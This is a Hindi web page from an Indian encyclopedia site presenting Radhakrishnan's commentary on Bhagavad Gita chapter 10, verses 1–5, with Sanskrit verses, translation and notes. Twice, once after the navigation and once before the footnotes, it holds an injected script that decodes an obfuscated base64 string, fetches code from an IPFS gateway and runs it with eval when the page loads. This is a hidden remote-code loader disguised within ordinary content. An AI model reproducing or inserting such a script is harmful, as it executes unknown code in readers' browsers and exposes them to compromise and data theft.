भगवद्गीता -राधाकृष्णन पृ. 192

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अध्याय-10
परमात्मा सबका मूल है; उसे जान लेना सब-कुछ जान लेना है परमात्मा की अन्तर्यामिता और लोकातीतता

   
श्रीभगवानुवाच
1.भूय एव महाबाहो श्रृणु में परमं वचः।
यत्तेअहं प्रीयमाणाय वक्ष्यामि हितकाम्यया।।
श्री भगवान् ने कहाःहे बलवान् बाहुओं वाले (अर्जुन), और भी मेरे सर्वोच्च वचन को सुन तेरी शुभकामना से मैं तुझे यह सब बता रहा हू, क्यों कि तू (मेरी बातों में) आन्नद ले रहा है।
प्रीयमाणाय का अर्थ यह भी किया जा सकता है कि ’तू जो मुझे प्रिय है’।
 
2.न मे विदुः सुरगणाः प्रभवं न महर्षयः।
अहमादिर्हि देवानां महर्षीणां च सर्वशः।।
मेरे उद्गम या मूल को न तो देवगण ही जानते हैं और नं महर्षि लोग ही; क्योंकि मैं सब प्रकार से देवताओं और महर्षियों का मूल हूं।सर्वशः: प्रत्येक प्रकार से; सर्वप्रकारैः। शकरांचार्य।भगवान् अजन्मा और नित्य है वह सारे संसार का स्वामी भी है। यद्यपि उसका कभी जन्म नहीं हुआ, फिर भी सब अस्तित्व उसमें से ही निकलते हैं। गुरु बतलाता है कि वस्तुतः वह स्वयं ही नित्य ईश्वर है और वह अन्य सब वस्तुओं की अपेक्षा प्राचीन है और सारा व्यक्त गौरत उसी से निकला है।
 
3.यो मामजमनादिं च वेत्ति लोकमहेश्वरम्।
असम्मूढः स मत्र्येषु सर्वपापैः प्रमुच्यते।।
जो कोई मुझ अजन्मा, अनादि और सब लोकों के शक्तिशाली स्वामी को जानता है, मत्र्य लोगों में वही भ्रम-रहित है और वह सब पापों से मुक्त हो जाता है।जब हम सब वस्तुओं को इस रूप में देखना सीख लेते हैं कि वे एक ही लोकातीत वास्तविकता (ब्रह्म) से उत्पन्न हुई हैं, तब हम सारी खोजबीन और भ्रम से मुक्त हो जाते हैं।
 
4.बुद्धिज्र्ञानमसम्मोहः क्षमा सत्यं दमः शमः।
सुखं दुःखं भवोअभावो भयं चाभयमेव च।।
बुद्धि, ज्ञान, मूढ़ता या भ्रम से मुक्ति, धैर्य (क्षमा), सत्य, आत्मसंयम और शान्ति, सुख और दुःख, अस्तित्व और अनस्तित्व (भाव और अभाव), भय और निर्भयता,दम: आत्मनियन्त्रण, बाह्य इन्द्रियों को शान्त करना है।शम: शान्ति, यह आन्तरिक आत्मा की शान्ति है।
 
5.अहिंसा समता तुष्टिस्तपो दानं यशोअदशः।
भवन्ति भावा भूतानां मत्त एव पृथग्विधाः।।
अहिंसा, समचित्ता, सन्तुष्टि, तपस्या, दान, यश और बदनामी, ये सब प्राणियों की विभिन्न दशाएं हैं, जो मुझसे ही उत्पन्न होती है।अहिंसा: हिंसा न करना; प्राचीन ग्रन्थों में इसका अर्थ है- कष्ट न पहुंचाना, विशेष रूप से, न मारना।प्राणियों की ये सब अलग-अलग दशाएं उनके अतीत के कर्मों के अनुसार ही होती हैं। [१] भगवान संसार के दुःख और कष्ट के लिए भी परोक्ष रूप से उत्तरदायी है। वह संसार का स्वामी है और उसे मार्ग दिखाता है, हालांकि वह संसार के द्वन्द्वों से बिलकुल अछूता रहता है।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. स्वकर्मानुरूपेण।- शंकराचार्य।

संबंधित लेख

साँचा:भगवद्गीता -राधाकृष्णन